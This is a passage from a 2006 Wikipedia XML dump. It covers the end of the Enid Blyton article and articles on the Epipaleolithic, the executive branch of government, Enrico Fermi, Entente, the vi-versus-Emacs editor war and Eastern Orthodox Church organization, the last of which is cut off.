Modern reprints of some books have had changes made (such as the replacement of Golliwogs with teddy bears). This is the publishers' reaction to contemporary attitudes on [[racial stereotype]]s, and probably enforced by market conditions and [[pressure group]]s. It has itself drawn criticism from those adults who view it as tampering with an important piece of the history of [[children's literature]]. The Druce book brings up a single case of a story, ''[[The Little Black Doll]]'', which could be interpreted as a racist message (the doll wanted to be pink) and which was turned on its head in a reprint.

==Trivia==

An oblique critique of a Blyton work is found in [[Jasper Fforde]]'s novel ''The Well of Lost Plots'' (2003). The heroine, Thursday Next should change the ending of ''Shadow the Sheepdog'' by entering the novel's world. Thursday is surprised at the one-dimensionality of the characters who have limited vocabulary, intelligence and emotional scope, even their movement is confined to designated paths. Even stranger that the characters attack Thursday and want to kill her simply because they are hungry for feelings and emotions. Thursday finally escapes by showing the characters how to feel guilt, enmity, hate, anger etc., missing from Blyton's world according to Fforde.

==See also==

*[[:Category:Enid Blyton's books]] for chronological listings
*[[Enid Blyton's illustrators]]

==References==
[[Image:Biography.jpeg|thumb|100px|right|Enid Blyton Biography]]
*Enid Blyton (1952) ''The Story of My Life'' 
*Barbara Stoney (1974) ''Enid Blyton'',  1992 ''The Enid Blyton Biography'', Hodder, London ISBN 0340583487 (paperback) ISBN 0340165146 
*S. G. Ray (1982) ''The Blyton Phenomenon''
*Bob Mullan (1987) ''The Enid Blyton Story''
*George Greenfield (1998) ''Enid Blyton''
*Robert Druce (1992) ''This Day Our Daily Fictions: An Enquiry into the Multi-Million Bestseller Status of Enid Blyton and Ian Fleming''

==External links==
*[http://www.enidblytonsociety.co.uk/index.php The Enid Blyton Society]
*[http://www.enidblyton.net EnidBlyton.net]
*[http://www.heathersblytonpages.com Heather's Blyton Pages]
*[http://masonwilley.tripod.com/ Enid Blyton Collectors' and Enthusiasts' Guide to First Editions]

[[Category:1897 births|Blyton, Enid]]
[[Category:1968 deaths|Blyton, Enid]]
[[Category:English children's writers|Blyton, Enid]]
[[Category:Mystery writers|Blyton, Enid]]
[[Category:People of Buckinghamshire|Blyton, Enid]]
[[Category:Enid Blyton|*]]

[[da:Enid Blyton]]
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[[he:&amp;#1488;&amp;#1504;&amp;#1497;&amp;#1491; &amp;#1489;&amp;#1500;&amp;#1497;&amp;#1497;&amp;#1496;&amp;#1493;&amp;#1503;]]
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[[zh:伊妮&amp;#183;布來敦]]</text>
    </revision>
  </page>
  <page>
    <title>Epipaleolithic</title>
    <id>10259</id>
    <revision>
      <id>39518310</id>
      <timestamp>2006-02-14T01:22:32Z</timestamp>
      <contributor>
        <username>NekoDaemon</username>
        <id>239574</id>
      </contributor>
      <minor />
      <comment>Robot: [[Cat#Communication|Nyaa]]! [[Template talk:Categoryredirect|Categoryredirect]]: [[Category:Old World Stone Age]] → [[Category:Stone Age]].  Requested change by [[User:Kbdank71|]]</comment>
      <text xml:space="preserve">{| cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; style=&quot;float:right; margin:5px; border:3px solid;&quot;
|-
| style=&quot;border-bottom:3px solid; background:#efefef;&quot; | &lt;small&gt;This time period is part of the&lt;br /&gt;[[Holocene]] epoch.&lt;/small&gt;
|-
| style=&quot;background:#efefef;&quot; | [[Holocene]]&lt;br /&gt;
:[[Neolithic]]
:[[Mesolithic]] or '''Epipaleolithic'''&lt;br /&gt;
::[[9th millennium BC|8,000s BC]] (until ca. 8350)&lt;br /&gt;
::[[10th millennium BC|9,000s BC]]&lt;br /&gt;
|-
|[[Pleistocene]]&lt;br /&gt;
:[[Paleolithic]]&lt;br /&gt;
|}
The '''Epipaleolithic''' or '''Epipalaeolithic''' was a period in the development of [[human]] [[technology]] that precedes the [[Neolithic]] period of the [[Stone Age]]. It is preferred as an alternative to [[Mesolithic]] in areas with limited glacial impact. The period began at the end of the [[Pleistocene]] epoch around 10,000 years ago and ended with [[Agriculture#History|the introduction of farming]] around 8,000 years ago. 
 
The Epipalaeolithic is distinguished at least in the [[Middle East]], [[Anatolia]] and on [[Cyprus]], that is, in areas where the [[Neolithic Revolution]] (neolithisation) occurs early and the post-glacial climatic change is not very marked. 

Epipalaeolithic [[hunter-gatherer]]s made relatively advanced tools made from small [[flint]] or [[obsidian]] blades, known as  [[microlith]]s that were hafted in wooden implements.
They were hunters and gatherers and generally nomadic, although the [[Natufian culture]] of the [[Levant]] established
permanent settlements.

[[Category:Holocene]]
[[Category:Stone Age]]

[[de:Epipaläolithikum]]
[[el:Επιπαλαιολιθική περίοδος]]</text>
    </revision>
  </page>
  <page>
    <title>Euphonium horn</title>
    <id>10262</id>
    <revision>
      <id>15908084</id>
      <timestamp>2002-08-31T19:52:02Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>removed old copy of article, it's already been moved</comment>
      <text xml:space="preserve">#REDIRECT [[Euphonium]]</text>
    </revision>
  </page>
  <page>
    <title>Executive (government)</title>
    <id>10263</id>
    <revision>
      <id>40730672</id>
      <timestamp>2006-02-22T17:04:09Z</timestamp>
      <contributor>
        <username>Atlant</username>
        <id>124135</id>
      </contributor>
      <comment>Revert further (past some uncommented deletions by an anonymous(?) editor)</comment>
      <text xml:space="preserve">Under the doctrine of the [[separation of powers]], the '''executive''' is the branch of a [[government]] charged with implementing, or ''executing'', the [[law]] and running the day-to-day affairs of the government or [[state]]. The ''[[de facto]]'' most senior figure in an executive is referred to as the [[head of government]]. The executive may be referred to as the '''administration''', in [[presidential system]]s, or simply as the '''''government''''', in [[parliamentary system]]s.

In some [[constitutional monarchies]], such as the [[United Kingdom]], the monarch, who is the [[Head of State]], is the ''[[de jure]]'' and ''theoretical'' head of the executive, and the Prime Minister, who he or she technically appoints, is the head of the monarch's government (i.e. &quot;[[Her Majesty's Government]]&quot;). In practice, however, a symbolic or [[figurehead (political)|figurehead]] Head of State does not actively exercise executive power, though decisions may be ''formally'' made in his or her name. 

Along with the [[Prime Minister]] or executive [[President]], the executive branch consists of the [[cabinet]] and the executive [[department]]s or [[Ministry (government department)|ministries]] of the government.

==Executives under different systems==
  
Executive authority within a [[presidential system]] is exercised by a president who is also head of state. The president will not usually be designated by the legislature, and may instead be elected directly, or in the case of the [[President of the United States]], indirectly, by an [[electoral college]]. Under presidential systems the legislature and the executive are formally distinct, and it is usually expressly forbidden for the president and other executive officers to be members of the legislature.

In [[parliamentary system]]s, the executive branch is generally comprised of a [[prime minister]] and a [[cabinet]], who must directly or indirectly secure the support of the legislature.

In a [[semi-presidential system]] (such as [[France]], for example) executive powers are shared between the president and a prime minister.

==Role of the executive==
It is usually the role of the executive to:
*Enforce the law. To achieve this the executive administers the prisons and the police force, and prosecutes criminals in the name of the state.
*Conduct the foreign relations of the state.
*Command the armed forces.
*Appoint state officials, including judges and diplomats.
*Administer government [[department|departments]] and [[public service|public services]].
*Issue [[executive order|executive orders]] (also known as [[secondary legislation]], [[ordinance|ordinances]], [[edict|edicts]] or [[decree|decrees]]).

Most [[constitution|constitutions]] require that certain executive powers may only be exercised in conjunction with the [[legislature]]. For example, often the consent of the legislature is required to ratify [[treaty|treaties]], appoint important officials, or to declare war. In the [[United Kingdom]], however, the executive is exempt from most such limitations under the  [[royal prerogative]].

==See also==
*[[List of democracy and elections-related topics]]
*[[Head of state]]
*[[Head of government]]
*[[Separation of powers]]
**[[Legislature]]
**[[Judiciary]]
**[http://www.whitehouse.gov White house]

[[Category:Institutions of government]]

[[ca:Poder executiu]]
[[da:Udøvende magt]]
[[de:Exekutive]]
[[es:Poder ejecutivo]]
[[fr:Pouvoir exécutif]]
[[id:Eksekutif]]
[[lt:Vykdomoji valdžia]]
[[ms:Eksekutif]]
[[nl:Uitvoerende macht]]
[[ja:行政]]
[[pl:Władza wykonawcza]]
[[pt:Poder executivo]]
[[sl:Izvršilna oblast]]
[[sr:Извршна власт]]
[[sv:Verkställande makt]]
[[tl:Kagawaran ng Tagapagpaganap]]
[[tr:Yürütme]]
[[zh:行政]]</text>
    </revision>
  </page>
  <page>
    <title>Enrico Fermi</title>
    <id>10264</id>
    <revision>
      <id>41548859</id>
      <timestamp>2006-02-28T02:12:18Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.102.21.139|71.102.21.139]] ([[User talk:71.102.21.139|talk]]) to last version by Viridian</comment>
      <text xml:space="preserve">[[Image:Enrico Fermi 1943-49.jpg|thumb|250px|Enrico Fermi in the 1940s.]]

'''Enrico Fermi''' ([[Rome]], [[September 29]], [[1901]] &amp;ndash; [[Chicago]], [[November 28]], [[1954]]) was an [[Italy|Italian]] [[physicist]] most noted for his work on [[beta decay]], the development of the first [[nuclear reactor]], and for the development of [[quantum theory]]. Fermi won the [[1938]] [[Nobel Prize in Physics]] for his work on induced radioactivity. 

==Physics in Rome==
Fermi's PhD advisor was [[Luigi Puccianti]]. When he was only 24 years old, Fermi took a [[professor]]ship in [[University of Rome La Sapienza|Rome]] (the first for [[theoretical physics]] in Italy, created for him by professor [[OM Corbino|Orso Maria Corbino]], director of the Institute of Physics). [[OM Corbino|Corbino]] helped Fermi in selecting his team, which soon was joined by notable minds like [[Edoardo Amaldi]], [[Bruno Pontecorvo]], [[Franco Rasetti]] and [[Emilio Segrè]]. For the theoretical studies only, [[Ettore Majorana]] also took part in what was soon nicknamed &quot;the [[Via Panisperna boys]]&quot; (after the name of the road in which the Institute had its labs).

The group went on with its now famous experiments, but in [[1933]] Rasetti left Italy for [[Canada]] and the [[United States]], Pontecorvo went to [[France]] and Segrè left to teach in [[Palermo]].

During their time in Rome, Fermi and his group made important contributions to many practical and theoretical aspects of physics. Some of these include [[Fermi-Dirac statistics]], the theory of [[beta decay]], and the discovery of slow neutrons, which was to prove pivotal for the working of [[nuclear reactors]].

==Nobel prize and the Manhattan Project==
Fermi remained in Rome until [[1938]].

In [[1938]], Fermi won the [[Nobel Prize in Physics]] for his &quot;demonstrations of the existence of new radioactive elements produced by neutron irradiation, and for his related discovery of nuclear reactions brought about by slow neutrons&quot;.
[[Image:ChicagoPileTeam.png|right|frame|Fermi (bottom left), Szilárd (second from right on bottom), and the rest of the pile team.]]
After Fermi received the prize in [[Stockholm]], he, his wife Laura, and their children  emigrated to New York.  By this time, the [[Fascist]] government in Italy had instituted [[anti-Semitic]] laws, and Fermi's wife, [[Laura Fermi|Laura Capon]], was Jewish.  Soon after his arrival in New York, Fermi began working at [[Columbia University]].

At Columbia, Fermi verified the initial [[nuclear fission]] experiment of [[Otto Hahn|Hahn]] and [[Fritz Strassman]] (with the help of Booth and Dunning). Fermi then began studies that led to the construction of the first nuclear pile.

Fermi recalled the beginning of the project in a speech given in [[1954]] when he retired as President of the [[American Physical Society]]:
:&quot;I remember very vividly the first month, January, [[1939]], that I started working at the Pupin Laboratories because things began happening very fast. In that period, [[Niels Bohr]] was on a lecture engagement at the [[Princeton University]] and I remember one afternoon [[Willis Lamb]] came back very excited and said that Bohr had leaked out great news. The great news that had leaked out was the discovery of [[nuclear fission|fission]] and at least the outline of its interpretation. Then, somewhat later that same month, there was a meeting in Washington where the possible importance of the newly discovered phenomenon of fission was first discussed in semi-jocular earnest as a possible source of [[nuclear power]].&quot;

[[Image:Enrico Fermi ID badge.png|right|frame|Fermi's ID badge photo from [[Los Alamos National Laboratory|Los Alamos]].]]

After the famous letter signed by [[Albert Einstein]] (transcribed by [[Leó Szilárd]]) to President [[Franklin D. Roosevelt]] in [[1939]], the Navy awarded [[Columbia University]] the first Atomic Energy funding of US$ 6,000. The money was used in studies which led to the first [[nuclear reactor]] — [[Chicago Pile-1]], a massive &quot;pile&quot; of [[graphite]] bricks and [[uranium]] fuel which went critical on [[December 2]], [[1942]], under the squash court at the [[University of Chicago]]. This experiment was a landmark in the quest for energy, and it was typical of Fermi's brilliance. Every step had been carefully planned, every calculation meticulously done by him.  When man first achieved the first self sustained nuclear chain reaction, a coded phone call was made to one of the leaders of the Manhattan Project, [[James Bryant Conant|James Conant]]:  'The Italian navigator has landed in the new world... The natives were very friendly'. The chain-reacting pile was important not only for its help in assessing the properties of fission — needed for understanding the internal workings of an [[atomic bomb]] — but because it would serve as a pilot plant for the massive reactors which would be created in [[Hanford Site|Hanford, Washington]], which would then be used to &quot;[[Fast breeder|breed]]&quot; the [[plutonium]] needed for the bombs used at the [[Trinity site|Trinity test]] and [[Nagasaki]]. Eventually Fermi and Szilárd's reactor work was folded into the [[Manhattan Project]].

He became a [[naturalized citizen]] of the United States of America in [[1944]].
{{-}}
==Post-war work==
In Fermi's [[1954]] address to the APS he also said, &quot;Well, this brings us to [[Pearl Harbor]]. That is the time when I left Columbia University, and after a few months of commuting between Chicago and New York, eventually moved to Chicago to keep up the work there, and from then on, with a few notable exceptions, the work at Columbia was concentrated on the [[isotope separation]] phase of the atomic energy project, initiated by Booth, Dunning and Urey about [[1940]]&quot;.

Fermi was widely regarded as the only physicist of the twentieth century who excelled both theoretically and experimentally (Snow, 1981) (see [http://www-news.uchicago.edu/fermi/resources.html link] below in 'References'). The well-known historian of physics, [[C. P. Snow]], says about him, &quot;If Fermi had been born a few years earlier, one could well imagine him discovering [[Ernest Rutherford|Rutherford's]] atomic nucleus, and then developing [[Bohr]]'s [[Bohr model|theory]] of the hydrogen atom. If this sounds like hyperbole, anything about Fermi is likely to sound like hyperbole&quot;.  Fermi's ability and success stemmed as much from his appraisal of the art of the possible, as from his innate skill and intelligence. He disliked complicated theories, and while he had great mathematical ability, he would never use it when the job could be done much more simply. He was famous for getting quick and accurate answers to problems which would stump other people. An instance of this was seen during the first atomic bomb test in [[New Mexico]] on July 16, 1945. As the   blast wave reached him, Fermi dropped bits of paper. By measuring the distance they were blown, he could compare to a previously computed table and thus estimate  the bomb energy yield. He estimated 10 kilotons of TNT, the measured result was 18.6. (Rhodes, page 674). Later on, this method of getting approximate and quick answers through back of the envelope calculations became informally known as the 'Fermi method'.
[[Image:Viaenricofermi.jpg|left|thumb|The ''Enrico Fermi'' street in Rome]]
Fermi's most disarming trait was his great modesty, and his ability to do any kind of work, whether creative or routine. It was this quality that made him popular and liked among people of all strata, from other Nobel Laureates to technicians. [[Henry DeWolf Smyth]], who was Chairman of the Princeton Physics department, had once invited Fermi over to do some experiments with the Princeton [[cyclotron]]. Walking into the lab one day, Smyth saw the distinguished scientist helping a graduate student move a table, under another student's directions. Another time, a [[Du Pont]] executive made a visit to see him at Columbia. Not finding him either in his lab or his office, the executive was surprised to find the Nobel Laureate in the machine shop, cutting sheets of tin with a big pair of shears.  

When he submitted his famous paper on [[beta decay]] to the prestigious journal ''[[Nature (journal)|Nature]]'', the journal's [[editor]] turned it down because &quot;it contained speculations which were too remote from reality&quot;.  Thus, Fermi saw the theory published in [[Italian language|Italian]] and in [[German language|German]] before it was published in [[English language|English]].  

He never forgot this experience of being ahead of his time, and used to tell his protégés: &quot;Never be first; try to be second&quot;.

On [[November 28]], [[1954]], Fermi died at the age of 53 of [[stomach cancer]] in [[Chicago, Illinois]] and was interred there in [[Oak Woods Cemetery, Chicago|Oak Woods Cemetery]]. As [[Eugene Wigner]] wrote: &quot;Ten days before Fermi had passed away he told me, 'I hope it won't take long.' He had reconciled himself perfectly to his fate&quot;.

==See also==
* [[Fermi paradox]]
* [[Fermi problem]]
* [[Fermion field]]
* [[Fermi's golden rule]]
* [[Scuola Normale Superiore]]

==References==
*[[Laura Fermi]], ''Atoms in the Family: My Life with Enrico Fermi'' (Chicago:  University of Chicago Press, 1954) ISBN  0226243672
* [[Richard Rhodes]], ''The Making of the Atomic Bomb'' (New York: Simon and Schuster, 1986).
* [[C. P. Snow]], &quot;The Physicists&quot; (Toronto: Little, Brown, 1981)
* [[Emilio Segrè]], ''Enrico Fermi - Physicist''
* Fermi's audio biography at the University of Chicago website. (http://www-news.uchicago.edu/fermi/resources.html)

==External links==
{{Commons|Enrico Fermi}}
'''Information'''
* [http://www.phys.uniroma1.it/DOCS/MUSEO/albumweb/archiviofoto.htm A photographic archive of Fermi and &quot;the Panisperna boys&quot;]
* [http://www.nobel-winners.com/Physics/enrico_fermi.html About Enrico Fermi]
* [http://keynes.scuole.bo.it/ipertesti/fermi/ Life and works of Enrico Fermi] (in Italian)
* [http://alsos.wlu.edu/qsearch.aspx?browse=people/Fermi,+Enrico Annotated bibliography on Enrico Fermi from the Alsos Digital Library]
* [http://www.atomicarchive.com/History/firstpile/index.shtml The Story of the First Pile]
* [http://dspace.library.cornell.edu/handle/1813/62 E-Book Enrico Fermi: The Master Scientist ]

==Patents==
* {{US patent|2206634}} &amp;mdash; ''Process for the Production of Radioactive Substances''
* {{US patent|2524379}} &amp;mdash; ''Neutron Velocity Selector''
* {{US patent|2708656}} &amp;mdash; ''Neutronic reactor'' 
* {{US patent|2768134}} &amp;mdash; ''Testing Material in a Neutronic Reactor
* {{US patent|2780595}} &amp;mdash; ''Test Exponential Pile
* {{US patent|2798847}} &amp;mdash; ''Method of Operating a Neutronic Reactor''
* {{US patent|2807581}} &amp;mdash; ''Neutronic Reactor''
* {{US patent|2807727}} &amp;mdash; ''Neutronic Reactor Shield''
* {{US patent|2813070}} &amp;mdash; ''Method of Sustaining a Neutronic Chain Reacting System''
* {{US patent|2836554}} &amp;mdash; ''Air Cooled Neutronic Reactor''
* {{US patent|2837477}} &amp;mdash; ''Chain Reacting System''
* {{US patent|2852461}} &amp;mdash; ''Neutronic Reactor''
* {{US patent|2931762}} &amp;mdash; ''Neutronic Reactor''
* {{US patent|2969307}} &amp;mdash; ''Method of Testing Thermal Neutron Fissionable Material for Purity''

[[Category:1901 births|Fermi, Enrico]]
[[Category:1954 deaths|Fermi, Enrico]]
[[Category:American physicists|Fermi, Enrico]]
[[Category:Italian physicists|Fermi, Enrico]]
[[Category:Manhattan Project|Fermi, Enrico]]
[[Category:Natives of Rome|Fermi, Enrico]]
[[Category:Naturalized citizens of the United States|Fermi, Enrico]]
[[Category:Nobel Prize in Physics winners|Fermi, Enrico]]
[[Category:Roman Catholics|Fermi, Enrico]]

[[ast:Enrico Fermi]]
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[[zh:恩里科·费米]]</text>
    </revision>
  </page>
  <page>
    <title>Entente</title>
    <id>10267</id>
    <revision>
      <id>40058484</id>
      <timestamp>2006-02-17T20:57:03Z</timestamp>
      <contributor>
        <username>TFMcQ</username>
        <id>467891</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Entente''', meaning a diplomatic &quot;understanding&quot;, may refer to a number of agreements:

* The '''''[[Entente Cordiale]]''''', [[1904]] between [[France]] and the [[United Kingdom]].
* The '''[[Anglo-Russian Entente]]''', [[1907]] between the [[United Kingdom]] and [[Russia]].
* The '''[[Triple Entente]]''', [[1907]] between [[France]], [[Russia]] and the [[United Kingdom]].
* The '''[[Little Entente]]''', [[1920]] to [[1938]] between [[Czechoslovakia]], [[Romania]] and [[Kingdom of Yugoslavia|Yugoslavia]].
* The '''[[Council of the Entente]]''', [[1959]] between [[Côte d'Ivoire]], [[Burkina Faso]], [[Benin]], [[Niger]] and (in 1966) [[Togo]].


* The terms '''The Entente''', '''The Entente Powers''', and '''The Entente Forces''' also refer (informally) to the The '''[[Allies of World War I]]''', that is, powers opposed to the [[Central Powers]] in World War I. 

==See also==
*[[Détente]]

{{disambig}}

[[de:Entente]] [[fr:Entente Cordiale]] [[pl:Ententa]] [[sv:Ententen]]
[[nl:Entente]]</text>
    </revision>
  </page>
  <page>
    <title>Editor war</title>
    <id>10268</id>
    <revision>
      <id>40489896</id>
      <timestamp>2006-02-20T23:13:00Z</timestamp>
      <contributor>
        <username>Marudubshinki</username>
        <id>190816</id>
      </contributor>
      <minor />
      <comment>Redirect bypass from [[Makefiles]] to [[make]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">In [[geek culture]], '''the editor war''' is an ongoing debate in the [[computer programming]] community about which [[text editor]] is best for their general purposes.  The two largest camps are those favoring [[vi]] and those favoring [[Emacs]].

The [[Hacker culture|hacker community]] has a tradition of treating their favored piece of software with a reverence bordering on religious fanaticism, and few pieces of software are more universal than text editors.  Many [[flaming|flame war]]s have been fought between groups insisting that their editor of choice is the [[paragon]] of editing perfection, and insulting the others. Most participants in these arguments recognize that it is (mostly) tongue-in-cheek. There are related wars over [[operating system advocacy|operating systems]] and [[programming language]]s, all the way down to such 'trivial' things as source code [[indent style]].

Editor wars are usually fought between the devotees of [[Emacs]] and [[vi]], the two most popular editors on [[Unix]] and [[Unix-like]] operating systems. Most [[Unix-like|*nix]] users and programmers use one or the other of these editors. Many are familiar with both, at least enough to get around, and so feel they are well-placed to make judgment calls as to which is &quot;better&quot;.

Frequently at some point in the discussion, someone will point out that [[ed]] is the ''standard text editor''.

The '''Church of Emacs''' formed by [[Richard Stallman]] is a joke, and while it refers to ''vi vi vi'' (which is 666 in Roman numerals) as the &quot;editor of the beast&quot;, it does not oppose the use of vi; rather, it calls [[proprietary software]] an anathema. (&quot;Using a [[free software]] version of vi is not a sin, it is a penance.&quot;) It has its own [[newsgroup]], alt.religion.emacs. Stallman has jokingly declared himself to be '''St IGNUcius''', a Saint in the Church of Emacs.[http://www.stallman.org/saint.html]

vi lovers have created an opposing '''Cult of vi''', which some Emacs users call, &quot;Clearly a miserable attempt to ape their betters.&quot;


==Perceived benefits of Emacs==
*Emacs has a much larger set of available commands than any of the vi-like editors.
*Emacs is scriptable in a variant of [[Lisp programming language|Lisp]] called [[Emacs Lisp]], and has many [[plugin|plug-in]]s such as the [[gnus]] newsreader and various software development tools.
*Emacs ''includes'' vi, in the form of viper-mode. (Note that vi is not [[Vim (text editor)|vim]]. Emacs does not include vim proper.)
*Emacs doesn't require switching between &quot;command&quot; and &quot;input&quot; mode.
*GNU Emacs can perform computations with some calendars, such as [[Maya calendar|Mayan]] or [[Discordian calendar|Discordian]], which are not supported by the vi-like editors.
*Special editing modes for 25 programming languages including [[Java programming language|Java]], [[Perl]], [[C programming language|C]], [[C++]], [[Objective-C|Objective C]], [[Fortran]], [[Lisp programming language|Lisp]], [[Scheme programming language|Scheme]], and [[Pascal programming language|Pascal]].
*Special scripting language modes for [[Bash]], other common shells, and creating [[make|Makefiles]] for [[Linux|GNU/Linux]], Unix, [[Microsoft Windows]]/[[DOS]] and [[OpenVMS]] systems.
*Support for typing and displaying in 21 non-English languages, including Chinese, Czech, Hindi, Hebrew, Russian, Vietnamese and all Western European languages.
*Creates [[PostScript]] output from plain text files and has special editing modes for document presentation formats like [[LaTeX]], [[TeX]], and [[Wikipedia:Wikipedia-mode.el|Wikipedia]].
*Debug from inside Emacs
*Maintain program ChangeLogs
*Extensive file merge and [[diff]] functions
*Directory navigation: can use [[dired]] to flag, move and delete files and sub-directories recursively.
*Use Emacs as a shell itself ([http://www.newartisans.com/johnw/eshell.html Eshell])
*Version control management for release and beta versions, with [[Concurrent Versions System|CVS]] and [[Revision Control System|RCS]] integration.
*Emacs is a better example of the [[Unix philosophy]] in that users can simply add a mode (or really, a program) to the existing implementation of emacs by taking advantage of the Emacs Lisp interpreter, whereas vi users have to create an entirely new version of vi, leading to a messy monolithic [[cruft|crufty]] program; in this view (held by [[Eric S. Raymond]] among others), Emacs is not so much a program but a portable framework in which modules are added together as needed.

==Perceived benefits of vi-like editors==
*vi commands are entered largely without the use of modifier keys such as Ctrl or Alt. Some users find this reduces wrist strain (see [[repetitive strain injury]]).
*vi is smaller than Emacs.  See [[Creeping_featurism|feature creep]].
*vi's presence in [[Unix]] based operating systems is guaranteed as part of the [[POSIX]] standard.
*vi conforms with Unix design and philosophy (for instance, &quot;small is beautiful&quot; as opposed to &quot;big is beautiful&quot;). Unix does not advocate building &quot;Swiss Army knives&quot;, rather, the right tool for the right job.  Emacs is very much a Swiss Army knife of an editor, and belongs to the &quot;big is beautiful&quot; camp.  There is a reason for this: Emacs has roots in the [[Text Editor and Corrector|TECO]] editor on the [[Incompatible Timesharing System|ITS]] &amp; [[TOPS-10]] operating systems, which predate Unix.
*Unlike Emacs, which quite typically is heavily customized by its advanced user, vi is intentionally &quot;what you see is what you get (pretty much everywhere)&quot;.  For instance, advanced Emacs users would not feel they quite have &quot;their Emacs&quot; if their profile or customizations is not available to them in a given environment.  This is hardly ever the case with vi which is pretty much standard, and blends naturally with the Unix environment and commands.
*vi works better with [[terminal]]s; while this is not as important as it used to be, sometimes this ability is still a factor, such as when system problems have reached the point where the [[Graphical_user_interface|GUI]] cannot be started, so one has only a severely limited [[Computer console|console]] environment. Also, many people still prefer a console environment for complex tasks.
*Compile and debug code from within vim using :m[a]ke, :cl, and similar commands.  (This functionality is not available within vi proper.)  Note that debugging code from within the text editor is also a perceived benefit of Emacs over vi.  This illustrates the subjective nature of the conflict.

==Confusing the issue==
In ages past, lots of small emacsen, or at least small editors modelled after Emacs, flourished.  This was due to the importance of conserving memory with the comparatively miniscule amount available in those days.  These days, with a plentitude of memory, many vi-alikes, especially vim, are growing to previously unthinkable proportions.

The old lite Emacsen, as well as the elephantine vis of today, tend to have many of the perceived benefits and drawbacks of the opposing side.

==Reference==
*[[Eric S. Raymond|Raymond, Eric S.]] [http://www.catb.org/~esr/writings/taoup/html/ ''The Art of UNIX Programming''], 2003, ISBN 0-131-42901-9

==External links==
*news:alt.religion.emacs ([http://groups.google.com/group/alt.religion.emacs alt.religion.emacs at Google Groups])
*news:comp.editors ([http://groups.google.com/group/comp.editors comp.editors at Google Groups])
*[http://www.dina.dk/~abraham/religion/ Church of Emacs resources]
*[http://www.gnu.org/fun/jokes/gospel.html ''Rules, Sins, Virtues, Gods and more of The Church of Emacs'']
*[http://stallman.org/saint.html Saint Ignucius] &amp;mdash; as portrayed by Richard Stallman
*[http://www.splange.freeserve.co.uk/misc/vi.html The Cult of vi]
*[http://www.tarunz.org/~vassilii/srom/ $EDITOR sucks-rules-o-meter] measures which editor's activists are more visible on the Web
*[http://www.gnu.org/fun/jokes/ed.msg.html Ed is the standard text editor]
*[http://hackles.org/archives-2001.html Hackles - Strip Archives 2004]
**[http://hackles.org/cgi-bin/archives.pl?request=92 Hackles unwittingly starts a text editor holy war.]
**[http://hackles.org/cgi-bin/archives.pl?request=93 The text editor holy war continues: What does Katrina use?]
**[http://hackles.org/cgi-bin/archives.pl?request=94 The text editor holy war continues: Marcus doesn't get it.]
**[http://hackles.org/cgi-bin/archives.pl?request=284 Geek Airlines: Tension is in the air.]

[[Category:Computer hacking]]
[[Category:Emacs]]
[[Category:Text editors|*]]
[[Category:Software wars]]
[[Category:Software comparison]]

[[fr:Guerre d'éditeurs]]
[[pl:Wojny edytorowe]]</text>
    </revision>
  </page>
  <page>
    <title>Eastern Orthodox Church organization</title>
    <id>10270</id>
    <revision>
      <id>41754771</id>
      <timestamp>2006-03-01T14:37:20Z</timestamp>
      <contributor>
        <ip>85.124.180.125</ip>
      </contributor>
      <comment>+de</comment>
      <text xml:space="preserve">This article treats the manner in which the '''Eastern Orthodox Churches''' are organized, rather than the doctrines, traditions, practices, or other aspects of [[Eastern Orthodoxy]].

The '''Eastern Orthodox Church''' is a [[full communion|communion]] comprising the collective body of fourteen or fifteen separate [[autocephaly|autocephalous]] hierarchical churches that recognize each other as &quot;canonical&quot; [[Eastern Orthodoxy|Orthodox Christian]] churches (there is an essentially political disagreement about whether the number is 14 or 15).

The head of the Body of Christ can be only Christ.  The Eastern Churches have no one so powerful as the Roman Pope.  The highest-ranking bishop of the communion is the [[Patriarch of Constantinople]], who is also [[primate (religion)|primate]] of one of the fourteen or fifteen churches.  These organizations are in [[full communion]] with each other, so any priest of any of those churches may lawfully minister to any member of any of them, and no member of any is excluded from any form of worship in any of the others.  Despite the fact that, like the [[Roman Catholicism|Roman Catholic]] church, they are &quot;[[closed communion]]&quot; churches, i.e. with rare exceptions excluding non-members from receiving the [[Eucharist]], nonetheless they admit each other's members to that [[sacrament]].  This is completely non-paradoxical as far as the Orthodox are concerned, since, even though there may be many &quot;Churches&quot;, there is only one Church, in Orthodox ecclesiology.  That is, each &quot;Orthodox Church&quot; is actually a portion of the Orthodox Church as a whole.  Friction among them is over matters of church politics rather than doctrine.

Like the Roman Catholic Church, the Eastern Orthodox church claims to be the [[One Holy Catholic and Apostolic Church]].

All the disagreements among persons of differing religious beliefs beget strange nomenclature, and accordingly a church adhering to so-called [[Western Orthodoxy]] is actually a Vicariate within the Antiochian Orthodox Church (it is never called the &quot;Western Orthodox Church&quot; by anyone who actually worships within that Vicariate) and thus a part of the Eastern Orthodox Church as that term is defined here.

Note that [[Oriental Orthodoxy]] separated from the Eastern Orthodox Church in the [[5th century]], well before the [[11th century]] [[East-West Schism|Great Schism]]. It should not be confused with Eastern Orthodoxy.

== Some history ==
At the beginning of the 11th century, the [[One Holy Catholic and Apostolic Church]] was ruled by five patriarchs: those of Rome, Constantinople, Alexandria, Antioch, and Jerusalem.  Each had jurisdiction over bishops in a specified geographic region.  The patriarch of Rome was &quot;first in place of honor&quot; among the five patriarchs.  Did that mean he had authority over the other four patriarchs, or was his primacy merely honorary?  Disagreement about the answer to that question was one of the causes of the [[East-West Schism|Great Schism]] in the year 1054, which split the church into the western Roman Catholic Church, headed by the Patriarch of Rome, and the Eastern Orthodox Church, led by the four eastern patriarchs.  After the schism, in the Eastern Orthodox churches, the Patriarch of Constantinople has always had ''honorary'' primacy.  The importance of the insistence that one patriarch does not have authority over the others is seen in the fact that these separate churches are autocephalous.  Since then, the Eastern Orthodox Church has expanded and reorganized, so that today it has fourteen or fifteen autocephalous churches rather than only four.

== Eastern Orthodox Church jurisdictions ==
=== [[autocephaly|Autocephalous]] churches ===
* [[Orthodox Church of Constantinople]]
* [[Orthodox Church of Alexandria]]
* [[Orthodox Church of Antioch]]
* [[Orthodox Church of Jerusalem]]
* [[Russian Orthodox Church]]
* [[Georgian Orthodox and Apostolic Church]]
* [[Serbian Orthodox Church]]
* [[Romanian Orthodox Church]]
